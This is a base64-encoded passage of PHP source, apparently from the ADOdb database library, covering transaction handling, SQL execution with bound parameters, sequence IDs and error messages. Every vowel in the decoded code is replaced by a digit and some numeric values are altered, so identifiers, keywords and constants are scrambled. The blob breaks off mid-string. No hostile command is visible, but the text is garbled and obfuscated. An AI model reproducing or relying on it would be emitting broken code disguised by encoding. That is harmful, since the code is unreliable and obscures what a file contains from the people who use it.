bHM1KSBiNWYycjUgczV0dDRuZyB0aDUgZjRyc3QgcDFyMW01dDVyLg0KCSovDQoJZjNuY3Q0Mm4gUDFyMW0oJG4xbTUsJHR5cDU9J0MnKQ0KCXsNCgkJcjV0M3JuICc/JzsNCgl9DQoJDQoJLyoNCgkJSW5QMXIxbTV0NXIgMW5kIE8zdFAxcjFtNXQ1ciAxcjUgczVsZi1kMmMzbTVudDRuZyB2NXJzNDJucyAyZiBQMXIxbTV0NXIoKS4NCgkqLw0KCWYzbmN0NDJuIEluUDFyMW01dDVyKCYkc3RtdCwmJHYxciwkbjFtNSwkbTF4TDVuPXUwMDAsJHR5cDU9ZjFsczUpDQoJew0KCQlyNXQzcm4gJHRoNHMtPlAxcjFtNXQ1cigkc3RtdCwkdjFyLCRuMW01LGYxbHM1LCRtMXhMNW4sJHR5cDUpOw0KCX0NCgkNCgkvKg0KCSovDQoJZjNuY3Q0Mm4gTzN0UDFyMW01dDVyKCYkc3RtdCwmJHYxciwkbjFtNSwkbTF4TDVuPXUwMDAsJHR5cDU9ZjFsczUpDQoJew0KCQlyNXQzcm4gJHRoNHMtPlAxcjFtNXQ1cigkc3RtdCwkdjFyLCRuMW01LHRyMzUsJG0xeEw1biwkdHlwNSk7DQoJDQoJfQ0KDQoJDQoJLyogDQoJVXMxZzUgNG4gMnIxY2w1DQoJCSRzdG10ID0gJGRiLT5QcjVwMXI1KCdzNWw1Y3QgKiBmcjJtIHQxYmw1IHdoNXI1IDRkID06bXk0ZCAxbmQgZ3IyM3A9OmdyMjNwJyk7DQoJCSRkYi0+UDFyMW01dDVyKCRzdG10LCQ0ZCwnbXk0ZCcpOw0KCQkkZGItPlAxcjFtNXQ1cigkc3RtdCwkZ3IyM3AsJ2dyMjNwJyxldSk7DQoJCSRkYi0+RXg1YzN0NSgpOw0KCQkNCgkJQHAxcjFtICRzdG10IFN0MXQ1bTVudCByNXQzcm41ZCBieSBQcjVwMXI1KCkgMnIgUHI1cDFyNVNQKCkuDQoJCUBwMXIxbSAkdjFyIFBIUCB2MXI0MWJsNSB0MiBiNG5kIHQyDQoJCUBwMXIxbSAkbjFtNSBOMW01IDJmIHN0MnI1ZCBwcjJjNWQzcjUgdjFyNDFibDUgbjFtNSB0MiBiNG5kIHQyLg0KCQlAcDFyMW0gWyQ0c08zdHAzdF0gSW5kNGMxdDVzIGQ0cjVjdDQybiAyZiBwMXIxbTV0NXIgMC9mMWxzNT1JTiAgNj1PVVQgIGE9IElOL09VVC4gVGg0cyA0cyA0Z24ycjVkIDRuIDJjNDguDQoJCUBwMXIxbSBbJG0xeEw1bl0gSDJsZHMgMW4gbTF4NG0zbSBsNW5ndGggMmYgdGg1IHYxcjQxYmw1Lg0KCQlAcDFyMW0gWyR0eXA1XSBUaDUgZDF0MSB0eXA1IDJmICR2MXIuIEw1ZzFsIHYxbDM1cyBkNXA1bmQgMm4gZHI0djVyLg0KDQoJKi8NCglmM25jdDQybiBQMXIxbTV0NXIoJiRzdG10LCYkdjFyLCRuMW01LCQ0c08zdHAzdD1mMWxzNSwkbTF4TDVuPXUwMDAsJHR5cDU9ZjFsczUpDQoJew0KCQlyNXQzcm4gZjFsczU7DQoJfQ0KCQ0KCQ0KCWYzbmN0NDJuIElnbjJyNUVycjJycygkczF2NUVycnM9ZjFsczUpDQoJew0KCQk0ZiAoISRzMXY1RXJycykgew0KCQkJJHMxdjVFcnJzID0gMXJyMXkoJHRoNHMtPnIxNHM1RXJyMnJGbiwkdGg0cy0+X3RyMW5zT0spOw0KCQkJJHRoNHMtPnIxNHM1RXJyMnJGbiA9IGYxbHM1Ow0KCQkJcjV0M3JuICRzMXY1RXJyczsNCgkJfSA1bHM1IHsNCgkJCSR0aDRzLT5yMTRzNUVycjJyRm4gPSAkczF2NUVycnNbMF07DQoJCQkkdGg0cy0+X3RyMW5zT0sgPSAkczF2NUVycnNbNl07DQoJCX0NCgl9DQoJDQoJLyoqDQoJCUltcHIydjVkIG01dGgyZCAyZiA0bjR0NDF0NG5nIDEgdHIxbnMxY3Q0Mm4uIFVzNWQgdDJnNXRoNXIgdzR0aCBDMm1wbDV0NVRyMW5zKCkuDQoJCUFkdjFudDFnNXMgNG5jbDNkNToNCgkJDQoJCTEuIFN0MXJ0VHIxbnMvQzJtcGw1dDVUcjFucyA0cyBuNXN0MWJsNSwgM25sNGs1IEI1ZzRuVHIxbnMvQzJtbTR0VHIxbnMvUjJsbGIxY2tUcjFucy4NCgkJICAgT25seSB0aDUgMjN0NXJtMnN0IGJsMmNrIDRzIHRyNTF0NWQgMXMgMSB0cjFuczFjdDQybi48YnI+DQoJCWIuIEMybXBsNXQ1VHIxbnMgMTN0Mi1kNXQ1Y3RzIFNRTCA1cnIycnMsIDFuZCB3NGxsIHIybGxiMWNrIDJuIDVycjJycywgYzJtbTR0IDJ0aDVydzRzNS48YnI+DQoJCWMuIEFsbCBCNWc0blRyMW5zL0MybW00dFRyMW5zL1IybGxiMWNrVHIxbnMgNG5zNGQ1IDEgU3QxcnRUcjFucy9DMm1wbDV0NVRyMW5zIGJsMmNrDQoJCSAgIDFyNSBkNHMxYmw1ZCwgbTFrNG5nIDR0IGIxY2t3MXJkIGMybXAxdDRibDUuDQoJKi8NCglmM25jdDQybiBTdDFydFRyMW5zKCQ1cnJmbiA9ICdBRE9EQl9UcjFuc00ybjR0MnInKQ0KCXsNCgkJNGYgKCR0aDRzLT50cjFuc09mZiA+IDApIHsNCgkJCSR0aDRzLT50cjFuc09mZiArPSA2Ow0KCQkJcjV0M3JuOw0KCQl9DQoJCQ0KCQkkdGg0cy0+XzJsZFIxNHM1Rm4gPSAkdGg0cy0+cjE0czVFcnIyckZuOw0KCQkkdGg0cy0+cjE0czVFcnIyckZuID0gJDVycmZuOw0KCQkkdGg0cy0+X3RyMW5zT0sgPSB0cjM1Ow0KCQkNCgkJNGYgKCR0aDRzLT5kNWIzZyAmJiAkdGg0cy0+dHIxbnNDbnQgPiAwKSBBRE9DMm5uNWN0NDJuOjoyM3RwKCJCMWQgVHIxbnMxY3Q0Mm46IFN0MXJ0VHIxbnMgYzFsbDVkIHc0dGg0biBCNWc0blRyMW5zIik7DQoJCSR0aDRzLT5CNWc0blRyMW5zKCk7DQoJCSR0aDRzLT50cjFuc09mZiA9IDY7DQoJfQ0KCQ0KCQ0KCS8qKg0KCQlVczVkIHQyZzV0aDVyIHc0dGggU3QxcnRUcjFucygpIHQyIDVuZCAxIHRyMW5zMWN0NDJuLiBNMm40dDJycyBjMm5uNWN0NDJuDQoJCWYyciBzcWwgNXJyMnJzLCAxbmQgdzRsbCBjMm1tNHQgMnIgcjJsbGIxY2sgMXMgMXBwcjJwcjQxdDUuDQoJCQ0KCQlAMTN0MkMybXBsNXQ1IDRmIHRyMzUsIG0ybjR0MnIgc3FsIDVycjJycyAxbmQgYzJtbTR0IDFuZCByMmxsYjFjayAxcyAxcHByMnByNDF0NSwgDQoJCTFuZCA0ZiBzNXQgdDIgZjFsczUgZjJyYzUgcjJsbGIxY2sgNXY1biA0ZiBuMiBTUUwgNXJyMnIgZDV0NWN0NWQuDQoJCUByNXQzcm5zIHRyMzUgMm4gYzJtbTR0LCBmMWxzNSAybiByMmxsYjFjay4NCgkqLw0KCWYzbmN0NDJuIEMybXBsNXQ1VHIxbnMoJDEzdDJDMm1wbDV0NSA9IHRyMzUpDQoJew0KCQk0ZiAoJHRoNHMtPnRyMW5zT2ZmID4gNikgew0KCQkJJHRoNHMtPnRyMW5zT2ZmIC09IDY7DQoJCQlyNXQzcm4gdHIzNTsNCgkJfQ0KCQkkdGg0cy0+cjE0czVFcnIyckZuID0gJHRoNHMtPl8ybGRSMTRzNUZuOw0KCQkNCgkJJHRoNHMtPnRyMW5zT2ZmID0gMDsNCgkJNGYgKCR0aDRzLT5fdHIxbnNPSyAmJiAkMTN0MkMybXBsNXQ1KSB7DQoJCQk0ZiAoISR0aDRzLT5DMm1tNHRUcjFucygpKSB7DQoJCQkJJHRoNHMtPl90cjFuc09LID0gZjFsczU7DQoJCQkJNGYgKCR0aDRzLT5kNWIzZykgQURPQzJubjVjdDQybjo6MjN0cCgiU20xcnQgQzJtbTR0IGYxNGw1ZCIpOw0KCQkJfSA1bHM1DQoJCQkJNGYgKCR0aDRzLT5kNWIzZykgQURPQzJubjVjdDQybjo6MjN0cCgiU20xcnQgQzJtbTR0IDJjYzNycjVkIik7DQoJCX0gNWxzNSB7DQoJCQkkdGg0cy0+X3RyMW5zT0sgPSBmMWxzNTsNCgkJCSR0aDRzLT5SMmxsYjFja1RyMW5zKCk7DQoJCQk0ZiAoJHRoNHMtPmQ1YjNnKSBBRE9DT25uNWN0NDJuOjoyM3RwKCJTbTFydCBSMmxsYjFjayAyY2MzcnI1ZCIpOw0KCQl9DQoJCQ0KCQlyNXQzcm4gJHRoNHMtPl90cjFuc09LOw0KCX0NCgkNCgkvKg0KCQlBdCB0aDUgNW5kIDJmIDEgU3QxcnRUcjFucy9DMm1wbDV0NVRyMW5zIGJsMmNrLCBwNXJmMnJtIDEgcjJsbGIxY2suDQoJKi8NCglmM25jdDQybiBGMTRsVHIxbnMoKQ0KCXsNCgkJNGYgKCR0aDRzLT5kNWIzZykgDQoJCQk0ZiAoJHRoNHMtPnRyMW5zT2ZmID09IDApIHsNCgkJCQlBRE9DMm5uNWN0NDJuOjoyM3RwKCJGMTRsVHIxbnMgMjN0czRkNSBTdDFydFRyMW5zL0MybXBsNXQ1VHIxbnMiKTsNCgkJCX0gNWxzNSB7DQoJCQkJQURPQzJubjVjdDQybjo6MjN0cCgiRjE0bFRyMW5zIHcxcyBjMWxsNWQiKTsNCgkJCQkxZDJkYl9iMWNrdHIxYzUoKTsNCgkJCX0NCgkJJHRoNHMtPl90cjFuc09LID0gZjFsczU7DQoJfQ0KCQ0KCS8qKg0KCQlDaDVjayA0ZiB0cjFuczFjdDQybiBoMXMgZjE0bDVkLCAybmx5IGYyciBTbTFydCBUcjFuczFjdDQybnMuDQoJKi8NCglmM25jdDQybiBIMXNGMTRsNWRUcjFucygpDQoJew0KCQk0ZiAoJHRoNHMtPnRyMW5zT2ZmID4gMCkgcjV0M3JuICR0aDRzLT5fdHIxbnNPSyA9PSBmMWxzNTsNCgkJcjV0M3JuIGYxbHM1Ow0KCX0NCgkNCgkvKioNCgkgKiBFeDVjM3Q1IFNRTCANCgkgKg0KCSAqIEBwMXIxbSBzcWwJCVNRTCBzdDF0NW01bnQgdDIgNXg1YzN0NSwgMnIgcDJzczRibHkgMW4gMXJyMXkgaDJsZDRuZyBwcjVwMXI1ZCBzdDF0NW01bnQgKCRzcWxbMF0gdzRsbCBoMmxkIHNxbCB0NXh0KQ0KCSAqIEBwMXIxbSBbNG5wM3QxcnJdCWgybGRzIHRoNSA0bnAzdCBkMXQxIHQyIGI0bmQgdDIuIE4zbGwgNWw1bTVudHMgdzRsbCBiNSBzNXQgdDIgbjNsbC4NCgkgKiBAcjV0M3JuIAkJUjVjMnJkUzV0IDJyIGYxbHM1DQoJICovDQoJZjNuY3Q0Mm4gJkV4NWMzdDUoJHNxbCwkNG5wM3QxcnI9ZjFsczUpIA0KCXsNCgkJNGYgKCR0aDRzLT5mbkV4NWMzdDUpIHsNCgkJCSRmbiA9ICR0aDRzLT5mbkV4NWMzdDU7DQoJCQkkcjV0ID0mICRmbigkdGg0cywkc3FsLCQ0bnAzdDFycik7DQoJCQk0ZiAoNHNzNXQoJHI1dCkpIHI1dDNybiAkcjV0Ow0KCQl9DQoJCTRmICgkNG5wM3QxcnIpIHsNCgkJCTRmICghNHNfMXJyMXkoJDRucDN0MXJyKSkgJDRucDN0MXJyID0gMXJyMXkoJDRucDN0MXJyKTsNCgkJCQ0KCQkJJDVsNW01bnQwID0gcjVzNXQoJDRucDN0MXJyKTsNCgkJCSMgNHNfMmJqNWN0IGNoNWNrIGI1YzEzczUgMmM0OCBkNXNjcjRwdDJycyBjMW4gYjUgcDFzczVkIDRuDQoJCQkkMXJyMXlfYWQgPSA0c18xcnIxeSgkNWw1bTVudDApICYmICE0c18yYmo1Y3QocjVzNXQoJDVsNW01bnQwKSk7DQoJCQkvL3I1bTJ2NSA1eHRyMSBtNW0ycnkgYzJweSAyZiA0bnAzdCAtbTRrNWY1ZHlrDQoJCQkzbnM1dCgkNWw1bTVudDApOw0KCQkJDQoJCQk0ZiAoITRzXzFycjF5KCRzcWwpICYmICEkdGg0cy0+X2I0bmRJbnAzdEFycjF5KSB7DQoJCQkJJHNxbDFyciA9IDV4cGwyZDUoJz8nLCRzcWwpOw0KCQkJCQkNCgkJCQk0ZiAoISQxcnIxeV9hZCkgJDRucDN0MXJyID0gMXJyMXkoJDRucDN0MXJyKTsNCgkJCQlmMnI1MWNoKCQ0bnAzdDFyciAxcyAkMXJyKSB7DQoJCQkJCSRzcWwgPSAnJzsgJDQgPSAwOw0KCQkJCQkvL1VzNSA1MWNoKCkgNG5zdDUxZCAyZiBmMnI1MWNoIHQyIHI1ZDNjNSBtNW0ycnkgM3MxZzUgLW00azVmNWR5aw0KCQkJCQl3aDRsNShsNHN0KCwgJHYpID0gNTFjaCgkMXJyKSkgew0KCQkJCQkJJHNxbCAuPSAkc3FsMXJyWyQ0XTsNCgkJCQkJCS8vIGZyMm0gUjJuIEIxbGR3NG4gPHIybi5iMWxkdzRuI3MyM3JjNXByMnM1LmMybT4NCgkJCQkJCS8vIE9ubHkgcTMydDUgc3RyNG5nIHR5cDVzCQ0KCQkJCQkJJHR5cCA9IGc1dHR5cDUoJHYpOw0KCQkJCQkJNGYgKCR0eXAgPT0gJ3N0cjRuZycpDQoJCQkJCQkJLy9ONXcgbTVtMnJ5IGMycHkgMmYgNG5wM3QgY3I1MXQ1ZCBoNXI1IC1tNGs1ZjVkeWsNCgkJCQkJCQkkc3FsIC49ICR0aDRzLT5xc3RyKCR2KTsNCgkJCQkJCTVsczUgNGYgKCR0eXAgPT0gJ2QyM2JsNScpDQoJCQkJCQkJJHNxbCAuPSBzdHJfcjVwbDFjNSgnLCcsJy4nLCR2KTsgLy8gbDJjMWw1cyBmNHggczIgNi42IGQyNXMgbjJ0IGc1dCBjMm52NXJ0NWQgdDIgNiw2DQoJCQkJCQk1bHM1IDRmICgkdHlwID09ICdiMjJsNTFuJykNCgkJCQkJCQkkc3FsIC49ICR2ID8gJHRoNHMtPnRyMzUgOiAkdGg0cy0+ZjFsczU7DQoJCQkJCQk1bHM1IDRmICgkdHlwID09ICcyYmo1Y3QnKSB7DQoJCQkJCQkJNGYgKG01dGgyZF81eDRzdHMoJHYsICdfX3QyU3RyNG5nJykpICRzcWwgLj0gJHRoNHMtPnFzdHIoJHYtPl9fdDJTdHI0bmcoKSk7DQoJCQkJCQkJNWxzNSAkc3FsIC49ICR0aDRzLT5xc3RyKChzdHI0bmcpICR2KTsNCgkJCQkJCX0gNWxzNSA0ZiAoJHYgPT09IG4zbGwpDQoJCQkJCQkJJHNxbCAuPSAnTlVMTCc7DQoJCQkJCQk1bHM1DQoJCQkJCQkJJHNxbCAuPSAkdjsNCgkJCQkJCSQ0ICs9IDY7DQoJCQkJCX0NCgkJCQkJNGYgKDRzczV0KCRzcWwxcnJbJDRdKSkgew0KCQkJCQkJJHNxbCAuPSAkc3FsMXJyWyQ0XTsNCgkJCQkJCTRmICgkNCs2ICE9IHM0ejUyZigkc3FsMXJyKSkgQURPQzJubjVjdDQybjo6MjN0cCggIklucDN0IEFycjF5IGQyNXMgbjJ0IG0xdGNoID86ICIuaHRtbHNwNWM0MWxjaDFycygkc3FsKSk7DQoJCQkJCX0gNWxzNSA0ZiAoJDQgIT0gczR6NTJmKCRzcWwxcnIpKQkNCgkJCQkJCUFET0Mybm41Y3Q0Mm46OjIzdHAoICJJbnAzdCAxcnIxeSBkMjVzIG4ydCBtMXRjaCA/OiAiLmh0bWxzcDVjNDFsY2gxcnMoJHNxbCkpOw0KCQkNCgkJCQkJJHI1dCA9JiAkdGg0cy0+X0V4NWMzdDUoJHNxbCk7DQoJCQkJCTRmICghJHI1dCkgcjV0M3JuICRyNXQ7DQoJCQkJfQkNCgkJCX0gNWxzNSB7DQoJCQkJNGYgKCQxcnIxeV9hZCkgew0KCQkJCQk0ZiAoNHNfc3RyNG5nKCRzcWwpKQ0KCQkJCQkJJHN0bXQgPSAkdGg0cy0+UHI1cDFyNSgkc3FsKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJHN0bXQgPSAkc3FsOw0KCQkJCQkJDQoJCQkJCWYycjUxY2goJDRucDN0MXJyIDFzICQxcnIpIHsNCgkJCQkJCSRyNXQgPSYgJHRoNHMtPl9FeDVjM3Q1KCRzdG10LCQxcnIpOw0KCQkJCQkJNGYgKCEkcjV0KSByNXQzcm4gJHI1dDsNCgkJCQkJfQ0KCQkJCX0gNWxzNSB7DQoJCQkJCSRyNXQgPSYgJHRoNHMtPl9FeDVjM3Q1KCRzcWwsJDRucDN0MXJyKTsNCgkJCQl9DQoJCQl9DQoJCX0gNWxzNSB7DQoJCQkkcjV0ID0mICR0aDRzLT5fRXg1YzN0NSgkc3FsLGYxbHM1KTsNCgkJfQ0KDQoJCXI1dDNybiAkcjV0Ow0KCX0NCgkNCgkNCglmM25jdDQybiAmX0V4NWMzdDUoJHNxbCwkNG5wM3QxcnI9ZjFsczUpDQoJew0KCQk0ZiAoJHRoNHMtPmQ1YjNnKSB7DQoJCQlnbDJiMWwgJEFET0RCX0lOQ0xVREVEX0xJQjsNCgkJCTRmICg1bXB0eSgkQURPREJfSU5DTFVERURfTElCKSkgNG5jbDNkNShBRE9EQl9ESVIuJy8xZDJkYi1sNGIuNG5jLnBocCcpOw0KCQkJJHRoNHMtPl9xMzVyeUlEID0gXzFkMmRiX2Q1YjNnXzV4NWMzdDUoJHRoNHMsICRzcWwsJDRucDN0MXJyKTsNCgkJfSA1bHM1IHsNCgkJCSR0aDRzLT5fcTM1cnlJRCA9IEAkdGg0cy0+X3EzNXJ5KCRzcWwsJDRucDN0MXJyKTsNCgkJfQ0KCQkNCgkJLyoqKioqKioqKioqKioqKioqKioqKioqKg0KCQkvLyBPSywgcTM1cnkgNXg1YzN0NWQNCgkJKioqKioqKioqKioqKioqKioqKioqKioqKi8NCg0KCQk0ZiAoJHRoNHMtPl9xMzVyeUlEID09PSBmMWxzNSkgeyAvLyA1cnIyciBoMW5kbDRuZyA0ZiBxMzVyeSBmMTRscw0KCQkJNGYgKCR0aDRzLT5kNWIzZyA9PSA5OSkgMWQyZGJfYjFja3RyMWM1KHRyMzUsaSk7CQ0KCQkJJGZuID0gJHRoNHMtPnIxNHM1RXJyMnJGbjsNCgkJCTRmICgkZm4pIHsNCgkJCQkkZm4oJHRoNHMtPmQxdDFiMXM1VHlwNSwnRVhFQ1VURScsJHRoNHMtPkVycjJyTjIoKSwkdGg0cy0+RXJyMnJNc2coKSwkc3FsLCQ0bnAzdDFyciwkdGg0cyk7DQoJCQl9IA0KCQkJJGYxbHM1ID0gZjFsczU7DQoJCQlyNXQzcm4gJGYxbHM1Ow0KCQl9IA0KCQkNCgkJNGYgKCR0aDRzLT5fcTM1cnlJRCA9PT0gdHIzNSkgeyAvLyByNXQzcm4gczRtcGw0ZjQ1ZCByNWMycmRzNXQgZjJyIDRuczVydHMvM3BkMXQ1cy9kNWw1dDVzIHc0dGggbDJ3NXIgMnY1cmg1MWQNCgkJCSRyc2NsMXNzID0gJHRoNHMtPnJzUHI1ZjR4Lic1bXB0eSc7DQoJCQkkcnMgPSAoY2wxc3NfNXg0c3RzKCRyc2NsMXNzKSkgPyBuNXcgJHJzY2wxc3MoKTogIG41dyBBRE9SNWMycmRTNXRfNW1wdHkoKTsNCgkJCQ0KCQkJcjV0M3JuICRyczsNCgkJfQ0KCQkNCgkJLy8gcjV0M3JuIHI1MWwgcjVjMnJkczV0IGZyMm0gczVsNWN0IHN0MXQ1bTVudA0KCQkkcnNjbDFzcyA9ICR0aDRzLT5yc1ByNWY0eC4kdGg0cy0+ZDF0MWIxczVUeXA1Ow0KCQkkcnMgPSBuNXcgJHJzY2wxc3MoJHRoNHMtPl9xMzVyeUlELCR0aDRzLT5mNXRjaE0yZDUpOw0KCQkkcnMtPmMybm41Y3Q0Mm4gPSAmJHRoNHM7IC8vIFAxYmwyIHMzZ2c1c3Q0Mm4NCgkJJHJzLT5JbjR0KCk7DQoJCTRmICg0c18xcnIxeSgkc3FsKSkgJHJzLT5zcWwgPSAkc3FsWzBdOw0KCQk1bHM1ICRycy0+c3FsID0gJHNxbDsNCgkJNGYgKCRycy0+X24zbU9mUjJ3cyA8PSAwKSB7DQoJCWdsMmIxbCAkQURPREJfQ09VTlRSRUNTOw0KCQkJNGYgKCRBRE9EQl9DT1VOVFJFQ1MpIHsNCgkJCQk0ZiAoISRycy0+RU9GKSB7IA0KCQkJCQkkcnMgPSAmJHRoNHMtPl9yc2FycygkcnMsLTYsLTYsITRzXzFycjF5KCRzcWwpKTsNCgkJCQkJJHJzLT5fcTM1cnlJRCA9ICR0aDRzLT5fcTM1cnlJRDsNCgkJCQl9IDVsczUNCgkJCQkJJHJzLT5fbjNtT2ZSMndzID0gMDsNCgkJCX0NCgkJfQ0KCQlyNXQzcm4gJHJzOw0KCX0NCg0KCWYzbmN0NDJuIENyNTF0NVM1cTM1bmM1KCRzNXFuMW01PScxZDJkYnM1cScsJHN0MXJ0SUQ9NikNCgl7DQoJCTRmICg1bXB0eSgkdGg0cy0+X2c1blM1cVNRTCkpIHI1dDNybiBmMWxzNTsNCgkJcjV0M3JuICR0aDRzLT5FeDVjM3Q1KHNwcjRudGYoJHRoNHMtPl9nNW5TNXFTUUwsJHM1cW4xbTUsJHN0MXJ0SUQpKTsNCgl9DQoNCglmM25jdDQybiBEcjJwUzVxMzVuYzUoJHM1cW4xbTU9JzFkMmRiczVxJykNCgl7DQoJCTRmICg1bXB0eSgkdGg0cy0+X2RyMnBTNXFTUUwpKSByNXQzcm4gZjFsczU7DQoJCXI1dDNybiAkdGg0cy0+RXg1YzN0NShzcHI0bnRmKCR0aDRzLT5fZHIycFM1cVNRTCwkczVxbjFtNSkpOw0KCX0NCg0KCS8qKg0KCSAqIEc1bjVyMXQ1cyAxIHM1cTM1bmM1IDRkIDFuZCBzdDJyNXMgNHQgNG4gJHRoNHMtPmc1bklEOw0KCSAqIEc1bklEIDRzIDJubHkgMXYxNGwxYmw1IDRmICR0aDRzLT5oMXNHNW5JRCA9IHRyMzU7DQoJICoNCgkgKiBAcDFyMW0gczVxbjFtNQkJbjFtNSAyZiBzNXEzNW5jNSB0MiAzczUNCgkgKiBAcDFyMW0gc3QxcnRJRAkJNGYgczVxMzVuYzUgZDI1cyBuMnQgNXg0c3QsIHN0MXJ0IDF0IHRoNHMgSUQNCgkgKiBAcjV0M3JuCQkwIDRmIG4ydCBzM3BwMnJ0NWQsIDJ0aDVydzRzNSAxIHM1cTM1bmM1IDRkDQoJICovDQoJZjNuY3Q0Mm4gRzVuSUQoJHM1cW4xbTU9JzFkMmRiczVxJywkc3QxcnRJRD02KQ0KCXsNCgkJNGYgKCEkdGg0cy0+aDFzRzVuSUQpIHsNCgkJCXI1dDNybiAwOyAvLyBmMnJtNXJseSByNXQzcm5zIGYxbHM1IHByNSA2LmUwDQoJCX0NCgkJDQoJCSRnNXRuNXh0ID0gc3ByNG50ZigkdGg0cy0+X2c1bklEU1FMLCRzNXFuMW01KTsNCgkJDQoJCSRoMmxkdHIxbnNPSyA9ICR0aDRzLT5fdHIxbnNPSzsNCgkJDQoJCSRzMXY1X2gxbmRsNXIgPSAkdGg0cy0+cjE0czVFcnIyckZuOw0KCQkkdGg0cy0+cjE0czVFcnIyckZuID0gJyc7DQoJCUAoJHJzID0gJHRoNHMtPkV4NWMzdDUoJGc1dG41eHQpKTsNCgkJJHRoNHMtPnIxNHM1RXJyMnJGbiA9ICRzMXY1X2gxbmRsNXI7DQoJCQ0KCQk0ZiAoISRycykgew0KCQkJJHRoNHMtPl90cjFuc09LID0gJGgybGR0cjFuc09LOyAvLzRmIHRoNSBzdDF0M3MgdzFzIDJrIGI1ZjJyNSByNXM1dA0KCQkJJGNyNTF0NXM1cSA9ICR0aDRzLT5FeDVjM3Q1KHNwcjRudGYoJHRoNHMtPl9nNW5TNXFTUUwsJHM1cW4xbTUsJHN0MXJ0SUQpKTsNCgkJCSRycyA9ICR0aDRzLT5FeDVjM3Q1KCRnNXRuNXh0KTsNCgkJfQ0KCQk0ZiAoJHJzICYmICEkcnMtPkVPRikgJHRoNHMtPmc1bklEID0gcjVzNXQoJHJzLT5mNDVsZHMpOw0KCQk1bHM1ICR0aDRzLT5nNW5JRCA9IDA7IC8vIGYxbHM1DQoJDQoJCTRmICgkcnMpICRycy0+Q2wyczUoKTsNCg0KCQlyNXQzcm4gJHRoNHMtPmc1bklEOw0KCX0JDQoNCgkvKioNCgkgKiBAcDFyMW0gJHQxYmw1IHN0cjRuZyBuMW01IDJmIHRoNSB0MWJsNSwgbjJ0IG41NWQ1ZCBieSAxbGwgZDF0MWIxczVzICg1Zy4gbXlzcWwpLCBkNWYxM2x0ICcnDQoJICogQHAxcjFtICRjMmwzbW4gc3RyNG5nIG4xbTUgMmYgdGg1IGMybDNtbiwgbjJ0IG41NWQ1ZCBieSAxbGwgZDF0MWIxczVzICg1Zy4gbXlzcWwpLCBkNWYxM2x0ICcnDQoJICogQHI1dDNybiAgdGg1IGwxc3QgNG5zNXJ0NWQgSUQuIE4ydCAxbGwgZDF0MWIxczVzIHMzcHAycnQgdGg0cy4NCgkgKi8gDQoJZjNuY3Q0Mm4gSW5zNXJ0X0lEKCR0MWJsNT0nJywkYzJsM21uPScnKQ0KCXsNCgkJNGYgKCR0aDRzLT5fbDJnc3FsICYmICR0aDRzLT5sMXN0SW5zSUQpIHI1dDNybiAkdGg0cy0+bDFzdEluc0lEOw0KCQk0ZiAoJHRoNHMtPmgxc0luczVydElEKSByNXQzcm4gJHRoNHMtPl80bnM1cnQ0ZCgkdDFibDUsJGMybDNtbik7DQoJCTRmICgkdGg0cy0+ZDViM2cpIHsNCgkJCUFET0Mybm41Y3Q0Mm46OjIzdHAoICc8cD5JbnM1cnRfSUQgNXJyMnI8L3A+Jyk7DQoJCQkxZDJkYl9iMWNrdHIxYzUoKTsNCgkJfQ0KCQlyNXQzcm4gZjFsczU7DQoJfQ0KDQoNCgkvKioNCgkgKiBQMnJ0MWJsNSBJbnM1cnQgSUQuIFAxYmwyIFIyYzEgPHAxYmwycjJjMSNtdnBzLjJyZz4NCgkgKg0KCSAqIEByNXQzcm4gIHRoNSBsMXN0IDRuczVydDVkIElELiBBbGwgZDF0MWIxczVzIHMzcHAycnQgdGg0cy4gQjN0IDF3MXI1IHAyc3M0Ymw1DQoJICogcHIyYmw1bXMgNG4gbTNsdDQzczVyIDVudjRyMm5tNW50cy4gSDUxdnkgdDVzdCB0aDRzIGI1ZjJyNSBkNXBsMnk0bmcuDQoJICovIA0KCWYzbmN0NDJuIFBPX0luczVydF9JRCgkdDFibDU9IiIsICQ0ZD0iIikgDQoJew0KCSAgIDRmICgkdGg0cy0+aDFzSW5zNXJ0SUQpew0KCQkgICByNXQzcm4gJHRoNHMtPkluczVydF9JRCgkdDFibDUsJDRkKTsNCgkgICB9IDVsczUgew0KCQkgICByNXQzcm4gJHRoNHMtPkc1dE9uNSgiU0VMRUNUIE1BWCgkNGQpIEZST00gJHQxYmw1Iik7DQoJICAgfQ0KCX0NCg0KCS8qKg0KCSogQHI1dDNybiAjIHIyd3MgMWZmNWN0NWQgYnkgVVBEQVRFL0RFTEVURQ0KCSovIA0KCWYzbmN0NDJuIEFmZjVjdDVkX1Iyd3MoKQ0KCXsNCgkJNGYgKCR0aDRzLT5oMXNBZmY1Y3Q1ZFIyd3MpIHsNCgkJCTRmICgkdGg0cy0+Zm5FeDVjM3Q1ID09PSAnMWQyZGJfbDJnX3NxbCcpIHsNCgkJCQk0ZiAoJHRoNHMtPl9sMmdzcWwgJiYgJHRoNHMtPl8xZmY1Y3Q1ZCAhPT0gZjFsczUpIHI1dDNybiAkdGg0cy0+XzFmZjVjdDVkOw0KCQkJfQ0KCQkJJHYxbCA9ICR0aDRzLT5fMWZmNWN0NWRyMndzKCk7DQoJCQlyNXQzcm4gKCR2MWwgPCAwKSA/IGYxbHM1IDogJHYxbDsNCgkJfQ0KCQkJCSAgDQoJCTRmICgkdGg0cy0+ZDViM2cpIEFET0Mybm41Y3Q0Mm46OjIzdHAoICc8cD5BZmY1Y3Q1ZF9SMndzIDVycjJyPC9wPicsZjFsczUpOw0KCQlyNXQzcm4gZjFsczU7DQoJfQ0KCQ0KCQ0KCS8qKg0KCSAqIEByNXQzcm4gIHRoNSBsMXN0IDVycjJyIG01c3MxZzUNCgkgKi8NCglmM25jdDQybiBFcnIyck1zZygpDQoJew0KCQk0ZiAoJHRoNHMtPl81cnIyck1zZykgcjV0M3JuICchISAnLnN0cnQyM3BwNXIoJHRoNHMtPmQxdDFQcjJ2NGQ1ci4nICcuJHRoNHMtPmQxdDFiMXM1VHlwNSkuJzogJy4kdGg0cy0+XzVycjJyTXNnOw0KCQk1bHM1IHI1dDNybiAnJzsNCgl9DQoJDQoJDQoJLyoqDQoJICogQHI1dDNybiB0aDUgbDFzdCA1cnIyciBuM21iNXIuIE4ycm0xbGx5IDAgbTUxbnMgbjIgNXJyMnIuDQoJICovDQoJZjNuY3Q0Mm4gRXJyMnJOMigpIA0KCXsNCgkJcjV0M3JuICgkdGg0cy0+XzVycjJyTXNnKSA/IC02IDogMDsNCgl9DQoJDQoJZjNuY3Q0Mm4gTTV0MUVycjJyKCQ1cnI9ZjFsczUpDQoJew0KCQk0bmNsM2Q1XzJuYzUoQURPREJfRElSLiIvMWQyZGItNXJyMnIuN